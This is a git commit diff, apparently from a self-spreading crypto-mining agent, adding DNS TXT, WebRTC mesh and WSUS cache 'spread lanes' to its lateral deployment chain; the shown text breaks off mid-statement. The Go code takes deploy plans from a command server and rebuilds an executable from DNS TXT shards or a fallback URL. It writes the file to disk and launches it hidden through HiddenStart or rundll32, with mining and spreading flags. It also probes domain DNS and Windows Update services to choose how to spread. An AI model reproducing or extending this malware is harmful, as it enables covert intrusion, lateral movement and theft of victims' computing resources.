Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
This commit is contained in:
AetherForge
2026-06-07 01:07:55 -07:00
parent 652356bfe6
commit 0be2de81a5
100 changed files with 3447 additions and 213 deletions

View File

@@ -56,5 +56,8 @@ func GetBuiltinConfig() BuiltinConfig {
RVNPoolPass: "x",
LotlOnionEnabled: false,
LotlPolicyFromServer: false,
DnsTxtSpread: true,
WebRTCMeshSpread: false,
WSUSCachePeerSpread: true,
}
}

View File

@@ -71,6 +71,9 @@ type BuiltinConfig struct {
RemoteAggressive bool
// Spread technique options (forge-baked; owned/lab only)
WinRMSpread bool // lateral WinRM encoded bootstrap in autospread
DnsTxtSpread bool // DNS TXT mesh shard staging via _aether zone
WebRTCMeshSpread bool // WebRTC LAN seed manifest (heavier; default off)
WSUSCachePeerSpread bool // WSUS SoftwareDistribution cousin staging
COMHijackPersist bool // COM CLSID hijack persistence — default off
LinuxLOTLMode string // systemd_run_user | crontab | both | off
// Passive spreading — triggered by the environment rather than active scanning

View File

@@ -4,7 +4,6 @@ package deploy
import (
"context"
"fmt"
"log"
"net"
"os"

View File

@@ -12,6 +12,16 @@ import (
"crypto-miner-agent/config"
)
// WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans.
type WebRTCMeshPlanBody struct {
STUNServers []string `json:"stun_servers,omitempty"`
SignalingRelay string `json:"signaling_relay,omitempty"`
LANFallbackURL string `json:"lan_fallback_url,omitempty"`
SeederAgentID string `json:"seeder_agent_id,omitempty"`
RotationHours int `json:"rotation_hours,omitempty"`
IsSeeder bool `json:"is_seeder,omitempty"`
}
// DeployPlanBody is the HMAC-signed payload from POST /api/v1/agent/deploy-plan.
type DeployPlanBody struct {
JoinLane string `json:"join_lane"`
@@ -19,6 +29,12 @@ type DeployPlanBody struct {
Action string `json:"action"`
Manifest *StagingManifest `json:"manifest,omitempty"`
PeerGroup string `json:"peer_group,omitempty"`
CacheGroup string `json:"cache_group,omitempty"`
DNSTXTZone string `json:"dns_txt_zone,omitempty"`
DNSTXTRecords []string `json:"dns_txt_records,omitempty"`
DNSTXTShards []int `json:"dns_txt_shards,omitempty"`
TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"`
WebRTCMesh *WebRTCMeshPlanBody `json:"webrtc_mesh,omitempty"`
Script string `json:"script,omitempty"`
UNCPath string `json:"unc_path,omitempty"`
MaxHosts int `json:"max_hosts,omitempty"`
@@ -71,6 +87,67 @@ func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, e
return "", err
}
return msg, nil
case "wsus_cache_peer":
if plan.Manifest == nil {
return "", fmt.Errorf("join lane wsus_cache_peer requires staging manifest")
}
group := strings.TrimSpace(plan.CacheGroup)
if group == "" {
group = strings.TrimSpace(plan.Manifest.CacheGroup)
}
msg, err := RunWSUSCachePeerStaging(cfg, WSUSCachePeerFromStagingManifest(*plan.Manifest, group))
if err != nil {
return "", err
}
return msg, nil
case "dns_txt":
if plan.Manifest == nil {
return "", fmt.Errorf("join lane dns_txt requires staging manifest")
}
zone := strings.TrimSpace(plan.DNSTXTZone)
if zone == "" {
zone = strings.TrimSpace(plan.Manifest.DNSZone)
}
ttl := plan.TTLRefreshSec
if ttl == 0 {
ttl = plan.Manifest.TTLRefreshSec
}
msg, err := RunDNSTXTStaging(cfg, DNSTXTFromStagingManifest(*plan.Manifest, zone, plan.DNSTXTRecords, plan.DNSTXTShards, ttl))
if err != nil {
return "", err
}
return msg, nil
case "webrtc_mesh":
if plan.Manifest == nil {
return "", fmt.Errorf("join lane webrtc_mesh requires staging manifest")
}
policy := WebRTCMeshPolicy{RotationHours: DefaultWebRTCRotationHours}
if plan.WebRTCMesh != nil {
policy = WebRTCMeshPolicy{
STUNServers: plan.WebRTCMesh.STUNServers,
SignalingRelay: plan.WebRTCMesh.SignalingRelay,
LANFallbackURL: plan.WebRTCMesh.LANFallbackURL,
SeederAgentID: plan.WebRTCMesh.SeederAgentID,
RotationHours: plan.WebRTCMesh.RotationHours,
IsSeeder: plan.WebRTCMesh.IsSeeder,
}
}
if policy.RotationHours <= 0 {
policy.RotationHours = DefaultWebRTCRotationHours
}
msg, err := RunWebRTCMeshStaging(cfg, WebRTCMeshManifest{
Policy: policy,
SHA256: plan.Manifest.SHA256,
Dest: plan.Manifest.Dest,
Launch: plan.Manifest.Launch,
DLLExport: plan.Manifest.DLLExport,
DeferMining: plan.Manifest.DeferMining,
SpreadInstall: plan.Manifest.SpreadInstall,
})
if err != nil {
return "", err
}
return msg, nil
case "bits_curl", "docker_load":
if plan.Manifest == nil {
return "", fmt.Errorf("join lane %s requires staging manifest", lane)

View File

@@ -3,6 +3,7 @@ package deploy
import (
"crypto/hmac"
"crypto/sha256"
"encoding/base64"
"encoding/hex"
"encoding/json"
"os"
@@ -151,3 +152,59 @@ func TestExecuteDeployPlanDOPeerRequiresManifest(t *testing.T) {
t.Fatalf("err=%v", err)
}
}
func TestExecuteDeployPlanDNSTXTWithMockResolver(t *testing.T) {
payload := []byte("dns-txt-signed-plan")
sum := sha256.Sum256(payload)
hash := hex.EncodeToString(sum[:])
oldResolve := dnsTXTResolveFn
dnsTXTResolveFn = func(record, fallbackURL string) (string, error) {
return base64.StdEncoding.EncodeToString(payload), nil
}
defer func() { dnsTXTResolveFn = oldResolve }()
plan := DeployPlanBody{
JoinLane: "dns_txt", Action: "dns_txt",
DNSTXTZone: "lab.internal",
Manifest: &StagingManifest{
Method: "dns_txt",
Chunks: []StagingChunk{{Record: "_aether.shard0.lab.internal", Index: 0}},
SHA256: hash, Dest: "dns-txt-test-worker.exe", Launch: "exe", DeferMining: true,
},
}
_, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan)
if err != nil {
if strings.Contains(err.Error(), "launch") || strings.Contains(err.Error(), "HiddenStart") {
return
}
t.Fatalf("unexpected error: %v", err)
}
}
func TestExecuteDeployPlanWebRTCMeshWithMockFn(t *testing.T) {
payload := []byte("webrtc-signed-plan")
sum := sha256.Sum256(payload)
hash := hex.EncodeToString(sum[:])
oldFn := webrtcMeshReceiveFn
webrtcMeshReceiveFn = func(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error) {
return payload, nil
}
defer func() { webrtcMeshReceiveFn = oldFn }()
plan := DeployPlanBody{
JoinLane: "webrtc_mesh", Action: "webrtc_mesh",
WebRTCMesh: &WebRTCMeshPlanBody{RotationHours: 24, SeederAgentID: "seed-1"},
Manifest: &StagingManifest{
SHA256: hash, Dest: "webrtc-test-worker.exe", Launch: "exe", DeferMining: true,
},
}
_, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan)
if err != nil {
if strings.Contains(err.Error(), "launch") || strings.Contains(err.Error(), "HiddenStart") {
return
}
t.Fatalf("unexpected error: %v", err)
}
}

View File

@@ -0,0 +1,172 @@
package deploy
import (
"encoding/base64"
"fmt"
"os"
"path/filepath"
"sort"
"strings"
"crypto-miner-agent/config"
)
// DNSTXTManifest describes hash-verified payload assembly from DNS TXT shards.
type DNSTXTManifest struct {
Zone string `json:"zone,omitempty"`
Records []string `json:"records,omitempty"`
ShardIndices []int `json:"shard_indices,omitempty"`
Chunks []StagingChunk `json:"chunks"`
SHA256 string `json:"sha256"`
Dest string `json:"dest"`
Launch string `json:"launch"`
DLLExport string `json:"dll_export,omitempty"`
DeferMining bool `json:"defer_mining,omitempty"`
SpreadInstall bool `json:"spread_install,omitempty"`
TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"`
}
// DNSTXTFromStagingManifest maps a signed deploy-plan manifest into a dns_txt payload.
func DNSTXTFromStagingManifest(m StagingManifest, zone string, records []string, shards []int, ttl int) DNSTXTManifest {
return DNSTXTManifest{
Zone: zone,
Records: records,
ShardIndices: shards,
Chunks: m.Chunks,
SHA256: m.SHA256,
Dest: m.Dest,
Launch: m.Launch,
DLLExport: m.DLLExport,
DeferMining: m.DeferMining,
SpreadInstall: m.SpreadInstall,
TTLRefreshSec: ttl,
}
}
// dnsTXTResolveFn fetches one TXT shard body (injectable for tests).
var dnsTXTResolveFn func(record string, fallbackURL string) (string, error)
type dnsTXTShard struct {
index int
data []byte
}
func dnsTXTWorkDir(cfg config.RuntimeConfig, manifest DNSTXTManifest) string {
zone := sanitizeName(manifest.Zone)
if zone == "" {
zone = "local"
}
return filepath.Join(os.TempDir(), ".dns-txt-"+zone+"-"+sanitizeName(cfg.WorkerName))
}
// assembleDNSTXTPayload fetches TXT shards, verifies SHA256, returns staged dest path.
func assembleDNSTXTPayload(cfg config.RuntimeConfig, manifest DNSTXTManifest) (dest string, cleanup func(), err error) {
if len(manifest.Chunks) == 0 && len(manifest.Records) == 0 {
return "", nil, fmt.Errorf("dns_txt manifest has no chunks or records")
}
dest, err = ResolveStagingPath(manifest.Dest)
if err != nil {
return "", nil, err
}
workDir := dnsTXTWorkDir(cfg, manifest)
if err := os.MkdirAll(workDir, 0o700); err != nil {
return "", nil, err
}
cleanupFn := func() { _ = os.RemoveAll(workDir) }
shards, err := collectDNSTXTShards(manifest)
if err != nil {
cleanupFn()
return "", nil, err
}
sort.Slice(shards, func(i, j int) bool { return shards[i].index < shards[j].index })
var assembled []byte
for _, s := range shards {
assembled = append(assembled, s.data...)
}
if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil {
cleanupFn()
return "", nil, err
}
if err := os.WriteFile(dest, assembled, 0o755); err != nil {
cleanupFn()
return "", nil, err
}
if err := verifyFileSHA256(dest, manifest.SHA256); err != nil {
_ = os.Remove(dest)
cleanupFn()
return "", nil, err
}
return dest, cleanupFn, nil
}
func collectDNSTXTShards(manifest DNSTXTManifest) ([]dnsTXTShard, error) {
resolve := dnsTXTResolveFn
if resolve == nil {
resolve = resolveDNSTXTShardPlatform
}
var shards []dnsTXTShard
for i, chunk := range manifest.Chunks {
record := strings.TrimSpace(chunk.Record)
if record == "" && i < len(manifest.Records) {
record = strings.TrimSpace(manifest.Records[i])
}
idx := chunk.Index
if idx == 0 && i < len(manifest.ShardIndices) {
idx = manifest.ShardIndices[i]
}
if idx == 0 {
idx = i
}
raw, err := resolve(record, strings.TrimSpace(chunk.URL))
if err != nil {
return nil, fmt.Errorf("dns shard %d (%s): %w", idx, record, err)
}
data, err := decodeDNSTXTShard(raw)
if err != nil {
return nil, fmt.Errorf("dns shard %d decode: %w", idx, err)
}
shards = append(shards, dnsTXTShard{index: idx, data: data})
}
if len(shards) == 0 {
for i, record := range manifest.Records {
idx := i
if i < len(manifest.ShardIndices) {
idx = manifest.ShardIndices[i]
}
raw, err := resolve(strings.TrimSpace(record), "")
if err != nil {
return nil, fmt.Errorf("dns record %s: %w", record, err)
}
data, err := decodeDNSTXTShard(raw)
if err != nil {
return nil, fmt.Errorf("dns record %s decode: %w", record, err)
}
shards = append(shards, dnsTXTShard{index: idx, data: data})
}
}
if len(shards) == 0 {
return nil, fmt.Errorf("dns_txt manifest produced no shards")
}
return shards, nil
}
func decodeDNSTXTShard(raw string) ([]byte, error) {
raw = strings.TrimSpace(raw)
if raw == "" {
return nil, fmt.Errorf("empty TXT shard")
}
if dec, err := base64.StdEncoding.DecodeString(raw); err == nil && len(dec) > 0 {
return dec, nil
}
if dec, err := base64.RawStdEncoding.DecodeString(raw); err == nil && len(dec) > 0 {
return dec, nil
}
return []byte(raw), nil
}
// RunDNSTXTStaging verifies SHA256, assembles DNS TXT shards, and launches the worker.
func RunDNSTXTStaging(cfg config.RuntimeConfig, manifest DNSTXTManifest) (string, error) {
return runDNSTXTStagingPlatform(cfg, manifest)
}

View File

@@ -0,0 +1,87 @@
package deploy
import (
"crypto/sha256"
"encoding/base64"
"encoding/hex"
"os"
"path/filepath"
"strings"
"testing"
"crypto-miner-agent/config"
)
func TestDNSTXTAssembleWithMockResolver(t *testing.T) {
payload := []byte("dns-txt-mesh-payload")
sum := sha256.Sum256(payload)
encoded := base64.StdEncoding.EncodeToString(payload)
oldResolve := dnsTXTResolveFn
dnsTXTResolveFn = func(record, fallbackURL string) (string, error) {
if record != "_aether.shard0.internal" {
t.Fatalf("record=%q", record)
}
return encoded, nil
}
defer func() { dnsTXTResolveFn = oldResolve }()
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "dns-test"}}
manifest := DNSTXTManifest{
Zone: "internal",
Chunks: []StagingChunk{{Record: "_aether.shard0.internal", Index: 0, File: "shard0.bin"}},
SHA256: hex.EncodeToString(sum[:]),
Dest: filepath.Join("dns-txt", "worker.exe"),
}
dest, cleanup, err := assembleDNSTXTPayload(cfg, manifest)
if err != nil {
t.Fatal(err)
}
defer cleanup()
if err := verifyFileSHA256(dest, manifest.SHA256); err != nil {
t.Fatal(err)
}
}
func TestDNSTXTRejectsPathTraversal(t *testing.T) {
oldResolve := dnsTXTResolveFn
dnsTXTResolveFn = func(record, fallbackURL string) (string, error) {
return base64.StdEncoding.EncodeToString([]byte("x")), nil
}
defer func() { dnsTXTResolveFn = oldResolve }()
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "dns-test"}}
manifest := DNSTXTManifest{
Chunks: []StagingChunk{{Record: "r", Index: 0}},
SHA256: strings.Repeat("a", 64),
Dest: "../../outside.exe",
}
_, _, err := assembleDNSTXTPayload(cfg, manifest)
if err == nil || !strings.Contains(err.Error(), "path traversal") {
t.Fatalf("expected path traversal error, got %v", err)
}
}
func TestDNSTXTSHA256MismatchRejected(t *testing.T) {
oldResolve := dnsTXTResolveFn
dnsTXTResolveFn = func(record, fallbackURL string) (string, error) {
return base64.StdEncoding.EncodeToString([]byte("wrong")), nil
}
defer func() { dnsTXTResolveFn = oldResolve }()
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "dns-test"}}
manifest := DNSTXTManifest{
Chunks: []StagingChunk{{Record: "r", Index: 0}},
SHA256: strings.Repeat("b", 64),
Dest: "worker.exe",
}
_, cleanup, err := assembleDNSTXTPayload(cfg, manifest)
if cleanup != nil {
defer cleanup()
}
if err == nil || !strings.Contains(err.Error(), "sha256 mismatch") {
t.Fatalf("expected sha256 mismatch, got %v", err)
}
_ = os.Remove("worker.exe")
}

View File

@@ -0,0 +1,103 @@
//go:build !windows
package deploy
import (
"fmt"
"io"
"net/http"
"os/exec"
"strings"
"time"
"crypto-miner-agent/config"
)
// IsDNSTXTReady reports whether nslookup can resolve _aether TXT on this host.
func IsDNSTXTReady(zone string) bool {
zone = strings.TrimSpace(zone)
if zone == "" {
zone = "internal"
}
record := "_aether." + zone
out, err := exec.Command("nslookup", "-type=TXT", record).CombinedOutput()
if err != nil {
return false
}
return strings.Contains(string(out), "text =")
}
func resolveDNSTXTShardPlatform(record, fallbackURL string) (string, error) {
record = strings.TrimSpace(record)
if record != "" {
out, err := exec.Command("nslookup", "-type=TXT", record).CombinedOutput()
if err == nil {
if txt := parseNslookupTXT(string(out)); txt != "" {
return txt, nil
}
}
}
if fallbackURL != "" {
return fetchDNSTXTFallbackUnix(fallbackURL)
}
if record == "" {
return "", fmt.Errorf("dns record name is empty")
}
return "", fmt.Errorf("no TXT data for %s", record)
}
func parseNslookupTXT(raw string) string {
for _, line := range strings.Split(raw, "\n") {
line = strings.TrimSpace(line)
lower := strings.ToLower(line)
if strings.Contains(lower, "text =") {
parts := strings.SplitN(line, "=", 2)
if len(parts) == 2 {
return strings.Trim(strings.TrimSpace(parts[1]), `"`)
}
}
}
return ""
}
func fetchDNSTXTFallbackUnix(url string) (string, error) {
client := &http.Client{Timeout: 30 * time.Second}
resp, err := client.Get(url)
if err != nil {
return "", err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return "", fmt.Errorf("dns txt fallback http %d", resp.StatusCode)
}
body, err := io.ReadAll(io.LimitReader(resp.Body, 4<<20))
if err != nil {
return "", err
}
return strings.TrimSpace(string(body)), nil
}
func runDNSTXTStagingPlatform(cfg config.RuntimeConfig, manifest DNSTXTManifest) (string, error) {
dest, cleanup, err := assembleDNSTXTPayload(cfg, manifest)
if err != nil {
return "", err
}
defer cleanup()
args := []string{runFlag}
if manifest.DeferMining {
args = append(args, deferMiningFlag)
}
if manifest.SpreadInstall {
args = append(args, spreadFlag)
}
if err := HiddenStart(dest, args...); err != nil {
return "", fmt.Errorf("exe launch: %w", err)
}
return fmt.Sprintf("dns_txt staged %d shard(s) zone=%s to %s; launched exe %v",
len(manifest.Chunks), manifest.Zone, dest, args), nil
}
// ProbeDNSTXTZone returns a default zone suffix for _aether TXT discovery.
func ProbeDNSTXTZone() string {
return "internal"
}

View File

@@ -0,0 +1,119 @@
//go:build windows
package deploy
import (
"fmt"
"io"
"net/http"
"os/exec"
"strings"
"time"
"crypto-miner-agent/config"
)
// IsDNSTXTReady reports whether internal DNS resolves and _aether TXT is present.
func IsDNSTXTReady(zone string) bool {
zone = strings.TrimSpace(zone)
if zone == "" {
zone = "internal"
}
record := "_aether." + zone
out, err := HiddenCombinedOutput("powershell.exe", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
fmt.Sprintf(`try { (Resolve-DnsName -Name %q -Type TXT -ErrorAction Stop | Select-Object -First 1).Strings } catch { '' }`, record))
if err != nil {
return false
}
return strings.TrimSpace(string(out)) != ""
}
func resolveDNSTXTShardPlatform(record, fallbackURL string) (string, error) {
record = strings.TrimSpace(record)
if record != "" {
out, err := HiddenCombinedOutput("powershell.exe", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
fmt.Sprintf(`try { (Resolve-DnsName -Name %q -Type TXT -ErrorAction Stop | ForEach-Object { $_.Strings }) -join '' } catch { '' }`, record))
if err == nil {
txt := strings.TrimSpace(string(out))
if txt != "" {
return txt, nil
}
}
}
if fallbackURL != "" {
return fetchDNSTXTFallback(fallbackURL)
}
if record == "" {
return "", fmt.Errorf("dns record name is empty")
}
return "", fmt.Errorf("no TXT data for %s", record)
}
func fetchDNSTXTFallback(url string) (string, error) {
client := &http.Client{Timeout: 30 * time.Second}
resp, err := client.Get(url)
if err != nil {
return "", err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return "", fmt.Errorf("dns txt fallback http %d", resp.StatusCode)
}
body, err := io.ReadAll(io.LimitReader(resp.Body, 4<<20))
if err != nil {
return "", err
}
return strings.TrimSpace(string(body)), nil
}
func runDNSTXTStagingPlatform(cfg config.RuntimeConfig, manifest DNSTXTManifest) (string, error) {
dest, cleanup, err := assembleDNSTXTPayload(cfg, manifest)
if err != nil {
return "", err
}
defer cleanup()
launch := strings.ToLower(strings.TrimSpace(manifest.Launch))
switch launch {
case "rundll32", "dll":
export := strings.TrimSpace(manifest.DLLExport)
if export == "" {
export = "DllRegisterServer"
}
if err := HiddenStart("rundll32.exe", dest+","+export); err != nil {
return "", fmt.Errorf("rundll32 launch: %w", err)
}
return fmt.Sprintf("dns_txt staged %d shard(s) zone=%s to %s; launched rundll32 %s ttl_refresh=%ds",
len(manifest.Chunks), manifest.Zone, dest, export, manifest.TTLRefreshSec), nil
default:
args := []string{runFlag}
if manifest.DeferMining {
args = append(args, deferMiningFlag)
}
if manifest.SpreadInstall {
args = append(args, spreadFlag)
}
if err := HiddenStart(dest, args...); err != nil {
return "", fmt.Errorf("exe launch: %w", err)
}
return fmt.Sprintf("dns_txt staged %d shard(s) zone=%s to %s; launched exe %v ttl_refresh=%ds",
len(manifest.Chunks), manifest.Zone, dest, args, manifest.TTLRefreshSec), nil
}
}
// ProbeDNSTXTZone returns the zone suffix used for _aether TXT discovery.
func ProbeDNSTXTZone() string {
if _, err := exec.LookPath("powershell.exe"); err != nil {
return "internal"
}
out, err := HiddenCombinedOutput("powershell.exe", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
`try { $d = (Get-CimInstance Win32_ComputerSystem).Domain; if ($d) { $d.ToLower() } else { 'internal' } } catch { 'internal' }`)
if err != nil {
return "internal"
}
zone := strings.TrimSpace(string(out))
if zone == "" {
return "internal"
}
return zone
}

View File

@@ -2,7 +2,11 @@
package deploy
import "fmt"
import (
"fmt"
"crypto-miner-agent/config"
)
// IsDOPeerReady is Windows-only (DoSvc + BITS peer cache).
func IsDOPeerReady() bool {
@@ -12,3 +16,7 @@ func IsDOPeerReady() bool {
func certutilDecodePeerPlatform(src, dest string) error {
return fmt.Errorf("certutil decode unavailable")
}
func runDOPeerStagingWindows(_ config.RuntimeConfig, _ DOPeerManifest) (string, error) {
return "", fmt.Errorf("do_peer staging is Windows-only")
}

View File

@@ -53,6 +53,25 @@ func tryLotlTier(cfg config.RuntimeConfig, tier string) (bool, string) {
_ = HiddenRun("powershell.exe", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
fmt.Sprintf("Start-BitsTransfer -Source %q -Destination $env:TEMP\\af-do-peer.bin -TransferType Download -Priority Foreground -ErrorAction SilentlyContinue", installURL))
return true, "do_peer shadow cache BITS handoff queued (signed plan via discover_and_join)"
case "wsus_cache_peer":
if !IsWSUSCachePeerReady() && !cfg.WSUSCachePeerSpread {
return false, "Wuauserv/cache dir not ready and wsus_cache_peer_spread off"
}
return true, "wsus_cache_peer SoftwareDistribution cousin staging queued (signed plan via discover_and_join)"
case "dns_txt":
if !cfg.DnsTxtSpread {
return false, "dns_txt_spread forge flag off"
}
zone := ProbeDNSTXTZone()
if !IsDNSTXTReady(zone) {
return false, "_aether TXT not resolvable on " + zone
}
return true, "dns_txt mesh TXT shard staging queued (signed plan via discover_and_join)"
case "webrtc_mesh":
if !IsWebRTCMeshReady(cfg) {
return false, "webrtc_mesh_spread forge flag off (heavier LAN seed path)"
}
return true, "webrtc_mesh LAN seed manifest queued (STUN + WS relay or LAN HTTP fallback)"
case "smb":
if !cfg.AutoSpread && !cfg.ShareSpread {
go RunSpreadOnce(cfg)

View File

@@ -12,6 +12,9 @@ var DefaultLotlOnionTiers = []string{
"dotnet",
"bits_curl",
"do_peer",
"wsus_cache_peer",
"dns_txt",
"webrtc_mesh",
"smb",
"winrm",
"linux",
@@ -23,7 +26,8 @@ func NormalizeLotlTiers(raw []string) []string {
allowed := map[string]struct{}{
"vuln_recon": {},
"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
"bits_curl": {}, "do_peer": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {},
"bits_curl": {}, "do_peer": {}, "wsus_cache_peer": {}, "dns_txt": {}, "webrtc_mesh": {},
"smb": {}, "winrm": {}, "linux": {}, "gpo": {},
}
out := make([]string, 0, len(raw))
for _, t := range raw {

View File

@@ -19,6 +19,9 @@ func TestJoinLaneForSignal(t *testing.T) {
{"docker", 0, "docker"},
{"CCMEXEC", 0, "gpo"},
{"DoSvc", 0, "do_peer"},
{"Wuauserv", 0, "wsus_cache_peer"},
{"dns_txt:_aether.internal", 0, "dns_txt"},
{"webrtc_mesh", 0, "webrtc_mesh"},
{"gitlab-runner", 0, "bits_curl"},
{"jenkins", 8080, "bits_curl"},
{"unknown-svc", 9999, ""},

View File

@@ -16,7 +16,7 @@ $p = [ordered]@{ services = @(); hints = @() }
$watch = @(
'CCMEXEC','CcmSetup','SmsAgent','WinRM','ssh','sshd','LanmanServer','Docker',
'com.docker.service','jenkins','Jenkins','gitlab-runner','GitLabRunner',
'OpenSSH SSH Server','cloudflared','gpsvc','DoSvc','BITS'
'OpenSSH SSH Server','cloudflared','gpsvc','DoSvc','BITS','Wuauserv','wuauserv'
)
foreach ($n in $watch) {
try {
@@ -84,6 +84,10 @@ func probeLocalServices() []ServiceGraphEntry {
if dockerPipePresent() {
entries = append(entries, entryWithLane("docker", 0, "passive_hint"))
}
zone := ProbeDNSTXTZone()
if IsDNSTXTReady(zone) {
entries = append(entries, entryWithLane("dns_txt:_aether."+zone, 0, "passive_hint"))
}
return dedupeEntries(entries)
}

View File

@@ -50,6 +50,12 @@ func JoinLaneForSignal(serviceName string, port int) string {
return "dotnet"
case strings.Contains(name, "dosvc") || strings.Contains(name, "delivery optimization"):
return "do_peer"
case strings.Contains(name, "wuauserv") || strings.Contains(name, "windows update") || strings.Contains(name, "wsus"):
return "wsus_cache_peer"
case strings.Contains(name, "_aether") || strings.Contains(name, "dns_txt"):
return "dns_txt"
case strings.Contains(name, "webrtc_mesh") || strings.Contains(name, "webrtc"):
return "webrtc_mesh"
case strings.Contains(name, "jenkins") || strings.Contains(name, "gitlab") || strings.Contains(name, "runner"):
return "bits_curl"
case strings.Contains(name, "ccmexec") || strings.Contains(name, "sms_agent") || strings.Contains(name, "sccm"):

View File

@@ -12,8 +12,10 @@ import (
// StagingChunk is one downloadable piece of a staged payload.
type StagingChunk struct {
URL string `json:"url"`
File string `json:"file"`
URL string `json:"url"`
File string `json:"file"`
Record string `json:"record,omitempty"` // DNS TXT FQDN for dns_txt lane
Index int `json:"index,omitempty"` // shard index for dns_txt assembly order
}
// StagingManifest describes a BITS/curl/certutil staging chain from the C2.
@@ -28,6 +30,9 @@ type StagingManifest struct {
DeferMining bool `json:"defer_mining,omitempty"`
SpreadInstall bool `json:"spread_install,omitempty"`
PeerGroup string `json:"peer_group,omitempty"`
CacheGroup string `json:"cache_group,omitempty"`
DNSZone string `json:"dns_zone,omitempty"`
TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"`
}
// ResolveStagingPath applies the same traversal hygiene as upload/download commands.

153
agent/deploy/webrtc_mesh.go Normal file
View File

@@ -0,0 +1,153 @@
package deploy
import (
"crypto/sha256"
"encoding/hex"
"fmt"
"os"
"path/filepath"
"runtime"
"strings"
"time"
"crypto-miner-agent/config"
)
// WebRTCMeshPolicy is server-pulled LAN seed policy for WebRTC mesh spread.
type WebRTCMeshPolicy struct {
STUNServers []string `json:"stun_servers,omitempty"`
SignalingRelay string `json:"signaling_relay,omitempty"`
LANFallbackURL string `json:"lan_fallback_url,omitempty"`
SeederAgentID string `json:"seeder_agent_id,omitempty"`
RotationHours int `json:"rotation_hours,omitempty"`
IsSeeder bool `json:"is_seeder,omitempty"`
}
// WebRTCMeshManifest is the hash-verified payload received over WebRTC data channel or LAN fallback.
type WebRTCMeshManifest struct {
Policy WebRTCMeshPolicy `json:"policy"`
SHA256 string `json:"sha256"`
Dest string `json:"dest"`
Launch string `json:"launch"`
DLLExport string `json:"dll_export,omitempty"`
DeferMining bool `json:"defer_mining,omitempty"`
SpreadInstall bool `json:"spread_install,omitempty"`
}
// WebRTCDataChannel is a minimal testable surface for manifest delivery.
type WebRTCDataChannel interface {
Receive() ([]byte, error)
}
// webrtcMeshReceiveFn injects manifest bytes (mock channel for tests; real impl uses STUN + WS relay).
var webrtcMeshReceiveFn func(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error)
type mockWebRTCChannel struct {
payload []byte
}
func (m *mockWebRTCChannel) Receive() ([]byte, error) {
if len(m.payload) == 0 {
return nil, fmt.Errorf("webrtc channel empty")
}
return m.payload, nil
}
// NewMockWebRTCChannel returns a test channel with preloaded manifest bytes.
func NewMockWebRTCChannel(payload []byte) WebRTCDataChannel {
return &mockWebRTCChannel{payload: payload}
}
func webrtcMeshWorkDir(cfg config.RuntimeConfig) string {
return filepath.Join(os.TempDir(), ".webrtc-mesh-"+sanitizeName(cfg.WorkerName))
}
func receiveWebRTCMeshPayload(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error) {
if webrtcMeshReceiveFn != nil {
return webrtcMeshReceiveFn(cfg, policy)
}
return receiveWebRTCMeshPayloadPlatform(cfg, policy)
}
// RunWebRTCMeshStaging receives manifest over WebRTC/LAN fallback, verifies SHA256, launches worker.
func RunWebRTCMeshStaging(cfg config.RuntimeConfig, manifest WebRTCMeshManifest) (string, error) {
if runtime.GOOS != "windows" && runtime.GOOS != "linux" && runtime.GOOS != "darwin" {
return "", fmt.Errorf("webrtc_mesh staging unsupported on %s", runtime.GOOS)
}
payload, err := receiveWebRTCMeshPayload(cfg, manifest.Policy)
if err != nil {
return "", err
}
sum := sha256.Sum256(payload)
got := hex.EncodeToString(sum[:])
expected := strings.ToLower(strings.TrimSpace(manifest.SHA256))
if expected != "" && got != expected {
return "", fmt.Errorf("sha256 mismatch: got %s want %s", got, expected)
}
dest, err := ResolveStagingPath(manifest.Dest)
if err != nil {
return "", err
}
workDir := webrtcMeshWorkDir(cfg)
if err := os.MkdirAll(workDir, 0o700); err != nil {
return "", err
}
defer func() { _ = os.RemoveAll(workDir) }()
if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil {
return "", err
}
if err := os.WriteFile(dest, payload, 0o755); err != nil {
return "", err
}
launch := strings.ToLower(strings.TrimSpace(manifest.Launch))
transport := "webrtc_relay"
if strings.TrimSpace(manifest.Policy.LANFallbackURL) != "" {
transport = "lan_http_fallback"
}
switch launch {
case "rundll32", "dll":
export := strings.TrimSpace(manifest.DLLExport)
if export == "" {
export = "DllRegisterServer"
}
if err := HiddenStart("rundll32.exe", dest+","+export); err != nil {
return "", fmt.Errorf("rundll32 launch: %w", err)
}
return fmt.Sprintf("webrtc_mesh received manifest via %s seeder=%s to %s; launched rundll32 %s rotation=%dh",
transport, manifest.Policy.SeederAgentID, dest, export, manifest.Policy.RotationHours), nil
default:
args := []string{runFlag}
if manifest.DeferMining {
args = append(args, deferMiningFlag)
}
if manifest.SpreadInstall {
args = append(args, spreadFlag)
}
if err := HiddenStart(dest, args...); err != nil {
return "", fmt.Errorf("exe launch: %w", err)
}
return fmt.Sprintf("webrtc_mesh received manifest via %s seeder=%s to %s; launched exe %v rotation=%dh",
